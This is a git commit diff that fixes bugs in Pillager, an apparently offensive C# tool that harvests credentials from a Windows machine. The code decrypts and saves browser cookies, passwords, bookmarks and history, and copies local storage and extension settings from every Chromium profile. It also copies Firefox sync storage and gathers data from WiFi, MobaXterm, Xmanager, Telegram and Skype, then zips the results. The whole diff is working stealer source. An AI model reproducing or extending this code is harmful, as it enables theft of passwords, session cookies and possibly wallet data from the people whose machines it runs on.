fix bugs
This commit is contained in:
parent
78d97d14da
commit
8bf0b439d2
|
@ -222,7 +222,7 @@ namespace Pillager.Browsers
|
||||||
|
|
||||||
public static void Save(string path)
|
public static void Save(string path)
|
||||||
{
|
{
|
||||||
foreach (var browser in Chrome.browserOnChromium)
|
foreach (var browser in browserOnChromium)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
@ -230,7 +230,7 @@ namespace Pillager.Browsers
|
||||||
BrowserName = browser.Key;
|
BrowserName = browser.Key;
|
||||||
BrowserPath = chromepath;
|
BrowserPath = chromepath;
|
||||||
MasterKey = GetMasterKey();
|
MasterKey = GetMasterKey();
|
||||||
if (MasterKey == null) return;
|
if (MasterKey == null) continue;
|
||||||
string savepath = Path.Combine(path, BrowserName);
|
string savepath = Path.Combine(path, BrowserName);
|
||||||
Directory.CreateDirectory(savepath);
|
Directory.CreateDirectory(savepath);
|
||||||
string cookies = Chrome_cookies();
|
string cookies = Chrome_cookies();
|
||||||
|
@ -241,9 +241,14 @@ namespace Pillager.Browsers
|
||||||
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
|
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
|
||||||
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
|
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
|
||||||
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
|
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
|
||||||
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
|
foreach (var profile in profiles)
|
||||||
if (Directory.Exists(Path.Combine(BrowserPath, "Local Extension Settings"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Extension Settings"), Path.Combine(savepath, "Local Extension Settings"), true);
|
{
|
||||||
if (Directory.Exists(Path.Combine(BrowserPath, "Sync Extension Settings"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Sync Extension Settings"), Path.Combine(savepath, "Sync Extension Settings"), true);
|
Directory.CreateDirectory(Path.Combine(BrowserPath, profile));
|
||||||
|
if (Directory.Exists(Path.Combine(BrowserPath, profile+"\\Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, profile + "\\Local Storage"), Path.Combine(savepath, profile + "\\Local Storage"), true);
|
||||||
|
if (Directory.Exists(Path.Combine(BrowserPath, profile+"\\Local Extension Settings"))) Methods.CopyDirectory(Path.Combine(BrowserPath, profile + "\\Local Extension Settings"), Path.Combine(savepath, profile + "\\Local Extension Settings"), true);
|
||||||
|
if (Directory.Exists(Path.Combine(BrowserPath, profile + "\\Sync Extension Settings"))) Methods.CopyDirectory(Path.Combine(BrowserPath, profile + "\\Sync Extension Settings"), Path.Combine(savepath, profile + "\\Sync Extension Settings"), true);
|
||||||
|
if (Directory.GetDirectories(Path.Combine(BrowserPath, profile)).Length == 0) Directory.Delete(Path.Combine(BrowserPath, profile));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
|
@ -308,8 +308,8 @@ namespace Pillager.Browsers
|
||||||
if (File.Exists(Path.Combine(directory, "storage-sync-v2.sqlite")))
|
if (File.Exists(Path.Combine(directory, "storage-sync-v2.sqlite")))
|
||||||
{
|
{
|
||||||
File.Copy(Path.Combine(directory, "storage-sync-v2.sqlite"), Path.Combine(savepath, "storage-sync-v2.sqlite"));
|
File.Copy(Path.Combine(directory, "storage-sync-v2.sqlite"), Path.Combine(savepath, "storage-sync-v2.sqlite"));
|
||||||
if (File.Exists(Path.Combine(directory, "storage-sync-v2..sqlite-shm")))
|
if (File.Exists(Path.Combine(directory, "storage-sync-v2.sqlite-shm")))
|
||||||
File.Copy(Path.Combine(directory, "storage-sync-v2..sqlite-shm"), Path.Combine(savepath, "storage-sync-v2..sqlite-shm"));
|
File.Copy(Path.Combine(directory, "storage-sync-v2.sqlite-shm"), Path.Combine(savepath, "storage-sync-v2.sqlite-shm"));
|
||||||
if (File.Exists(Path.Combine(directory, "storage-sync-v2.sqlite-wal")))
|
if (File.Exists(Path.Combine(directory, "storage-sync-v2.sqlite-wal")))
|
||||||
File.Copy(Path.Combine(directory, "storage-sync-v2.sqlite-wal"), Path.Combine(savepath, "storage-sync-v2.sqlite-wal"));
|
File.Copy(Path.Combine(directory, "storage-sync-v2.sqlite-wal"), Path.Combine(savepath, "storage-sync-v2.sqlite-wal"));
|
||||||
break;
|
break;
|
||||||
|
|
|
@ -19,6 +19,15 @@ namespace Pillager
|
||||||
if (File.Exists(savezippath)) File.Delete(savezippath);
|
if (File.Exists(savezippath)) File.Delete(savezippath);
|
||||||
Directory.CreateDirectory(savepath);
|
Directory.CreateDirectory(savepath);
|
||||||
|
|
||||||
|
//Browsers
|
||||||
|
IE.Save(savepath);
|
||||||
|
OldSogou.Save(savepath);//SogouExplorer < 12.x
|
||||||
|
Chrome.Save(savepath);
|
||||||
|
FireFox.Save(savepath);
|
||||||
|
|
||||||
|
//Others
|
||||||
|
Wifi.Save(savepath);
|
||||||
|
|
||||||
//Tools
|
//Tools
|
||||||
MobaXterm.Save(savepath);
|
MobaXterm.Save(savepath);
|
||||||
Xmanager.Save(savepath);
|
Xmanager.Save(savepath);
|
||||||
|
@ -28,15 +37,6 @@ namespace Pillager
|
||||||
Telegram.Save(savepath);
|
Telegram.Save(savepath);
|
||||||
Skype.Save(savepath);
|
Skype.Save(savepath);
|
||||||
|
|
||||||
//Browsers
|
|
||||||
IE.Save(savepath);
|
|
||||||
OldSogou.Save(savepath);//SogouExplorer < 12.x
|
|
||||||
FireFox.Save(savepath);
|
|
||||||
Chrome.Save(savepath);
|
|
||||||
|
|
||||||
//Others
|
|
||||||
Wifi.Save(savepath);
|
|
||||||
|
|
||||||
//ZIP
|
//ZIP
|
||||||
ZipFile.CreateFromDirectory(savepath, savezippath);
|
ZipFile.CreateFromDirectory(savepath, savezippath);
|
||||||
Directory.Delete(savepath, true);
|
Directory.Delete(savepath, true);
|
||||||
|
|
Loading…
Reference in New Issue